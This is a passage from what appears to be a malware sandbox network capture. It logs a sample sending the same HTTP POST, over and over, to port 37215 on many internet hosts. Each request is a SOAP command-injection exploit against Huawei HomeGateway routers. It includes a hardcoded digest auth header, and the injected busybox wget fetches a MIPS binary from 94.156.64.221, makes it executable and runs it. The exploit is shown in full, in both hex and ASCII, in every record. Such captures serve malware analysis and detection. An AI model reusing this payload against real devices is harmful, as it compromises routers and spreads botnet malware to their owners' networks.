2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
199	192.168.2.23	35770	197.81.225.105	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.251831055 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
200	192.168.2.23	53694	41.23.36.64	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.251867056 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
201	192.168.2.23	33272	41.104.188.254	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.251905918 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
202	192.168.2.23	35612	41.125.186.113	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.251939058 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
203	192.168.2.23	51176	41.144.59.161	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.251977921 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
204	192.168.2.23	51288	156.122.101.93	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.252019882 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
205	192.168.2.23	53482	41.13.150.2	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.252052069 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
206	192.168.2.23	54532	197.159.210.112	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.252084017 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
207	192.168.2.23	36204	41.37.220.142	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.252116919 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
208	192.168.2.23	49194	156.227.20.171	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.252167940 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
209	192.168.2.23	41014	156.167.5.201	37215

Timestamp	Bytes transferred	Direction	Data
